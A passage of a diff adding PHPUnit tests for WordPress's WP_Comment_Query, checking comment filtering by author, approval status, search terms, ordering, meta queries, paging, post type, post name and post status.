+			'fields' => 'ids',
+			'author__in' => array( 1, 3 ),
+		) );
+
+		$this->assertEqualSets( array( $c1, $c3 ), $comment_ids );
+	}
+
+        /**
+         * @ticket 29885
+         */
+	function test_fields_author__not_in() {
+		$p1 = self::factory()->post->create();
+		$p2 = self::factory()->post->create();
+		$p3 = self::factory()->post->create();
+		$p4 = self::factory()->post->create();
+
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 2, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 3, 'comment_approved' => '1' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => $p4, 'user_id' => 4, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'author__not_in' => array( 1, 2 ),
+		) );
+
+		$this->assertEqualSets( array( $c3, $c4 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_status_all() {
+		$comment_1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$comment_2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$comment_3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '0' ) );
+		$comments_approved_1 = get_comments( array( 'status' => 'all' ) );
+
+		$comment_ids = get_comments( array( 'fields' => 'ids' ) );
+		$this->assertEqualSets( array( $comment_1, $comment_2, $comment_3 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_user_id() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '0' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 6, 'comment_approved' => '0' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => 1,
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_user_id_array() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '0' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 6, 'comment_approved' => '0' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 8, 'comment_approved' => '0' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => array( 1, 8 ),
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_user_id_comma_separated() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '0' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 6, 'comment_approved' => '0' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 8, 'comment_approved' => '0' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => '1,8',
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_author_email() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '1', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => 'foo@example.com',
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_mixed_array() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '1', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => array( 'foo@example.com', 4 ),
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 19623
+	 */
+	public function test_get_comments_with_include_unapproved_mixed_comma_separated() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '1', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'foo@example.com' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 0, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+
+		$found = get_comments( array(
+			'fields' => 'ids',
+			'include_unapproved' => 'foo@example.com, 4',
+			'status' => 'approve',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c5 ), $found );
+	}
+
+	public function test_search() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'foo', 'comment_author_email' => 'bar@example.com' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'foo@example.com' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://foo.bar' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://example.com', 'comment_author_IP' => 'foo.bar' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://example.com', 'comment_content' => 'Nice foo comment' ) );
+		$c6 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 4, 'comment_approved' => '0', 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://example.com' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'search' => 'foo',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 35513
+	 */
+	public function test_search_false_should_be_ignored() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'search' => false,
+		) );
+		$this->assertNotContains( "comment_author LIKE", $q->request );
+	}
+
+	/**
+	 * @ticket 35513
+	 */
+	public function test_search_null_should_be_ignored() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'search' => null,
+		) );
+		$this->assertNotContains( "comment_author LIKE", $q->request );
+	}
+
+	/**
+	 * @ticket 35513
+	 */
+	public function test_search_empty_string_should_be_ignored() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'search' => false,
+		) );
+		$this->assertNotContains( "comment_author LIKE", $q->request );
+	}
+
+	/**
+	 * @ticket 35513
+	 */
+	public function test_search_int_0_should_not_be_ignored() {
+		global $wpdb;
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'search' => 0,
+		) );
+		$this->assertContains( "comment_author LIKE '%0%'", $wpdb->remove_placeholder_escape( $q->request ) );
+	}
+
+	/**
+	 * @ticket 35513
+	 */
+	public function test_search_string_0_should_not_be_ignored() {
+		global $wpdb;
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'search' => '0',
+		) );
+		$this->assertContains( "comment_author LIKE '%0%'", $wpdb->remove_placeholder_escape( $q->request ) );
+	}
+
+	public function test_orderby_default() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$q->query( array() );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_date_gmt", $q->request );
+	}
+
+	public function test_orderby_single() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'comment_agent',
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent", $q->request );
+	}
+
+	public function test_orderby_single_invalid() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'foo',
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_date_gmt", $q->request );
+	}
+
+	public function test_orderby_space_separated() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'comment_agent comment_approved',
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_approved DESC", $q->request );
+	}
+
+	public function test_orderby_comma_separated() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'comment_agent, comment_approved',
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_approved DESC", $q->request );
+	}
+
+	public function test_orderby_flat_array() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => array( 'comment_agent', 'comment_approved' ),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_approved DESC", $q->request );
+	}
+
+	public function test_orderby_array_contains_invalid_item() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => array( 'comment_agent', 'foo', 'comment_approved' ),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_approved DESC", $q->request );
+	}
+
+	public function test_orderby_array_contains_all_invalid_items() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => array( 'foo', 'bar', 'baz' ),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_date_gmt", $q->request );
+	}
+
+	/**
+	 * @ticket 29902
+	 */
+	public function test_orderby_none() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => 'none',
+		) );
+
+		$this->assertNotContains( 'ORDER BY', $q->request );
+	}
+
+	/**
+	 * @ticket 29902
+	 */
+	public function test_orderby_empty_array() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => array(),
+		) );
+
+		$this->assertNotContains( 'ORDER BY', $q->request );
+	}
+
+	/**
+	 * @ticket 29902
+	 */
+	public function test_orderby_false() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'orderby' => false,
+		) );
+
+		$this->assertNotContains( 'ORDER BY', $q->request );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_array() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'orderby' => array(
+				'comment_agent' => 'DESC',
+				'comment_date_gmt' => 'ASC',
+				'comment_ID' => 'DESC',
+			),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_date_gmt ASC, $wpdb->comments.comment_ID DESC", $q->request );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_array_should_discard_invalid_columns() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'orderby' => array(
+				'comment_agent' => 'DESC',
+				'foo' => 'ASC',
+				'comment_ID' => 'DESC',
+			),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_ID DESC", $q->request );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_array_should_convert_invalid_order_to_DESC() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'orderby' => array(
+				'comment_agent' => 'DESC',
+				'comment_date_gmt' => 'foo',
+				'comment_ID' => 'DESC',
+			),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_date_gmt DESC, $wpdb->comments.comment_ID DESC", $q->request );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_array_should_sort_by_comment_ID_as_fallback_and_should_inherit_order_from_comment_date_gmt() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'orderby' => array(
+				'comment_agent' => 'DESC',
+				'comment_date_gmt' => 'ASC',
+			),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_date_gmt ASC, $wpdb->comments.comment_ID ASC", $q->request );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_array_should_sort_by_comment_ID_as_fallback_and_should_inherit_order_from_comment_date() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'orderby' => array(
+				'comment_agent' => 'DESC',
+				'comment_date' => 'ASC',
+			),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent DESC, $wpdb->comments.comment_date ASC, $wpdb->comments.comment_ID ASC", $q->request );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_array_should_sort_by_comment_ID_DESC_as_fallback_when_not_sorted_by_date() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'orderby' => array(
+				'comment_agent' => 'ASC',
+			),
+		) );
+
+		$this->assertContains( "ORDER BY $wpdb->comments.comment_agent ASC, $wpdb->comments.comment_ID DESC", $q->request );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_date_modified_gmt_should_order_by_comment_ID_in_case_of_tie_ASC() {
+		$now = current_time( 'mysql', 1 );
+		$comments = self::factory()->comment->create_many( 5, array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => $now,
+		) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'orderby' => 'comment_date_gmt',
+			'order' => 'ASC',
+		) );
+
+		// $comments is ASC by default.
+		$this->assertEquals( $comments, wp_list_pluck( $found, 'comment_ID' ) );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_date_modified_gmt_should_order_by_comment_ID_in_case_of_tie_DESC() {
+		$now = current_time( 'mysql', 1 );
+		$comments = self::factory()->comment->create_many( 5, array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => $now,
+		) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'orderby' => 'comment_date_gmt',
+			'order' => 'DESC',
+		) );
+
+		// $comments is ASC by default.
+		rsort( $comments );
+
+		$this->assertEquals( $comments, wp_list_pluck( $found, 'comment_ID' ) );
+	}
+
+	public function test_meta_vars_should_be_converted_to_meta_query() {
+		$q = new WP_Comment_Query();
+		$q->query( array(
+			'meta_key' => 'foo',
+			'meta_value' => '5',
+			'meta_compare' => '>',
+			'meta_type' => 'SIGNED',
+		) );
+
+		$this->assertSame( 'foo', $q->meta_query->queries[0]['key'] );
+		$this->assertSame( '5', $q->meta_query->queries[0]['value'] );
+		$this->assertSame( '>', $q->meta_query->queries[0]['compare'] );
+		$this->assertSame( 'SIGNED', $q->meta_query->queries[0]['type'] );
+	}
+
+	public function test_count() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7 ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7 ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'count' => true,
+		) );
+
+		$this->assertEquals( 2, $found );
+	}
+
+	/**
+	 * @ticket 23369
+	 */
+	public function test_count_with_meta_query() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7 ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7 ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7 ) );
+		add_comment_meta( $c1, 'foo', 'bar' );
+		add_comment_meta( $c3, 'foo', 'bar' );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'count' => true,
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+			),
+		) );
+
+		$this->assertEquals( 2, $found );
+	}
+
+	/**
+	 * @ticket 38268
+	 */
+	public function test_paged() {
+		$now = time();
+
+		$c1 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 50 ),
+		) );
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 40 ),
+		) );
+		$c3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 30 ),
+		) );
+		$c4 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 20 ),
+		) );
+
+		$query = new WP_Comment_Query();
+		$found = $query->query( array(
+			'paged' => 2,
+			'number' => 2,
+			'orderby' => 'comment_date_gmt',
+			'order' => 'DESC',
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $c2, $c1 );
+		$this->assertSame( $expected, $found );
+	}
+
+	/**
+	 * @ticket 38268
+	 */
+	public function test_offset_should_take_precedence_over_paged() {
+		$now = time();
+
+		$c1 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 50 ),
+		) );
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 40 ),
+		) );
+		$c3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 30 ),
+		) );
+		$c4 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 20 ),
+		) );
+
+		$query = new WP_Comment_Query();
+		$found = $query->query( array(
+			'paged' => 2,
+			'offset' => 1,
+			'number' => 2,
+			'orderby' => 'comment_date_gmt',
+			'order' => 'DESC',
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $c3, $c2 );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_post_type_single_value() {
+		register_post_type( 'post-type-1' );
+		register_post_type( 'post-type-2' );
+
+		$p1 = self::factory()->post->create( array( 'post_type' => 'post-type-1' ) );
+		$p2 = self::factory()->post->create( array( 'post_type' => 'post-type-2' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_type' => 'post-type-2',
+		) );
+
+		$this->assertEqualSets( $c2, $found );
+
+		_unregister_post_type( 'post-type-1' );
+		_unregister_post_type( 'post-type-2' );
+	}
+
+	/**
+	 * @ticket 20006
+	 */
+	public function test_post_type_singleton_array() {
+		register_post_type( 'post-type-1' );
+		register_post_type( 'post-type-2' );
+
+		$p1 = self::factory()->post->create( array( 'post_type' => 'post-type-1' ) );
+		$p2 = self::factory()->post->create( array( 'post_type' => 'post-type-2' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_type' => array( 'post-type-2' ),
+		) );
+
+		$this->assertEqualSets( $c2, $found );
+
+		_unregister_post_type( 'post-type-1' );
+		_unregister_post_type( 'post-type-2' );
+	}
+
+	/**
+	 * @ticket 20006
+	 */
+	public function test_post_type_array() {
+		register_post_type( 'post-type-1' );
+		register_post_type( 'post-type-2' );
+		register_post_type( 'post-type-3' );
+
+		$p1 = self::factory()->post->create( array( 'post_type' => 'post-type-1' ) );
+		$p2 = self::factory()->post->create( array( 'post_type' => 'post-type-2' ) );
+		$p3 = self::factory()->post->create( array( 'post_type' => 'post-type-3' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+		$c3 = self::factory()->comment->create_post_comments( $p3, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_type' => array( 'post-type-1', 'post-type-3' ),
+		) );
+
+		$this->assertEqualSets( array_merge( $c1, $c3 ), $found );
+	}
+
+	public function test_post_name_single_value() {
+		$p1 = self::factory()->post->create( array( 'post_name' => 'foo' ) );
+		$p2 = self::factory()->post->create( array( 'post_name' => 'bar' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_name' => 'bar',
+		) );
+
+		$this->assertEqualSets( $c2, $found );
+	}
+
+	/**
+	 * @ticket 20006
+	 */
+	public function test_post_name_singleton_array() {
+		$p1 = self::factory()->post->create( array( 'post_name' => 'foo' ) );
+		$p2 = self::factory()->post->create( array( 'post_name' => 'bar' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_name' => array( 'bar' ),
+		) );
+
+		$this->assertEqualSets( $c2, $found );
+	}
+
+	/**
+	 * @ticket 20006
+	 */
+	public function test_post_name_array() {
+		$p1 = self::factory()->post->create( array( 'post_name' => 'foo' ) );
+		$p2 = self::factory()->post->create( array( 'post_name' => 'bar' ) );
+		$p3 = self::factory()->post->create( array( 'post_name' => 'baz' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+		$c3 = self::factory()->comment->create_post_comments( $p3, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_name' => array( 'foo', 'baz' ),
+		) );
+
+		$this->assertEqualSets( array_merge( $c1, $c3 ), $found );
+	}
+
+	public function test_post_status_single_value() {
+		$p1 = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$p2 = self::factory()->post->create( array( 'post_status' => 'draft' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_status' => 'draft',
+		) );
+
+		$this->assertEqualSets( $c2, $found );
+	}
+
+	/**
+	 * @ticket 20006
+	 */
+	public function test_post_status_singleton_array() {
+		$p1 = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$p2 = self::factory()->post->create( array( 'post_status' => 'draft' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_status' => array( 'draft' ),
+		) );
+
+		$this->assertEqualSets( $c2, $found );
+	}
+
+	/**
+	 * @ticket 20006
+	 */
+	public function test_post_status_array() {
+		$p1 = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$p2 = self::factory()->post->create( array( 'post_status' => 'draft' ) );
+		$p3 = self::factory()->post->create( array( 'post_status' => 'future' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+		$c3 = self::factory()->comment->create_post_comments( $p3, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_status' => array( 'publish', 'future' ),
+		) );
+
+		$this->assertEqualSets( array_merge( $c1, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 35512
+	 */
+	public function test_post_type_any_should_override_other_post_types() {
+		register_post_type( 'post-type-1', array( 'exclude_from_search' => false ) );
+		register_post_type( 'post-type-2', array( 'exclude_from_search' => false ) );
+
+		$p1 = self::factory()->post->create( array( 'post_type' => 'post-type-1' ) );
+		$p2 = self::factory()->post->create( array( 'post_type' => 'post-type-2' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_type' => array( 'any', 'post-type-1' ),
+		) );
+		$this->assertEqualSets( array_merge( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 35512
+	 */
+	public function test_post_type_any_as_part_of_an_array_of_post_types() {
+		register_post_type( 'post-type-1', array( 'exclude_from_search' => false ) );
+		register_post_type( 'post-type-2', array( 'exclude_from_search' => false ) );
+
+		$p1 = self::factory()->post->create( array( 'post_type' => 'post-type-1' ) );
+		$p2 = self::factory()->post->create( array( 'post_type' => 'post-type-2' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_type' => array( 'any' ),
+		) );
+		$this->assertEqualSets( array_merge( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 35512
+	 */
+	public function test_post_status_any_should_override_other_post_statuses() {
+		$p1 = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$p2 = self::factory()->post->create( array( 'post_status' => 'draft' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_status' => array( 'any', 'draft' ),
+		) );
+		$this->assertEqualSets( array_merge( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 35512
+	 */
+	public function test_post_status_any_as_part_of_an_array_of_post_statuses() {
+		$p1 = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$p2 = self::factory()->post->create( array( 'post_status' => 'draft' ) );
+
+		$c1 = self::factory()->comment->create_post_comments( $p1, 1 );
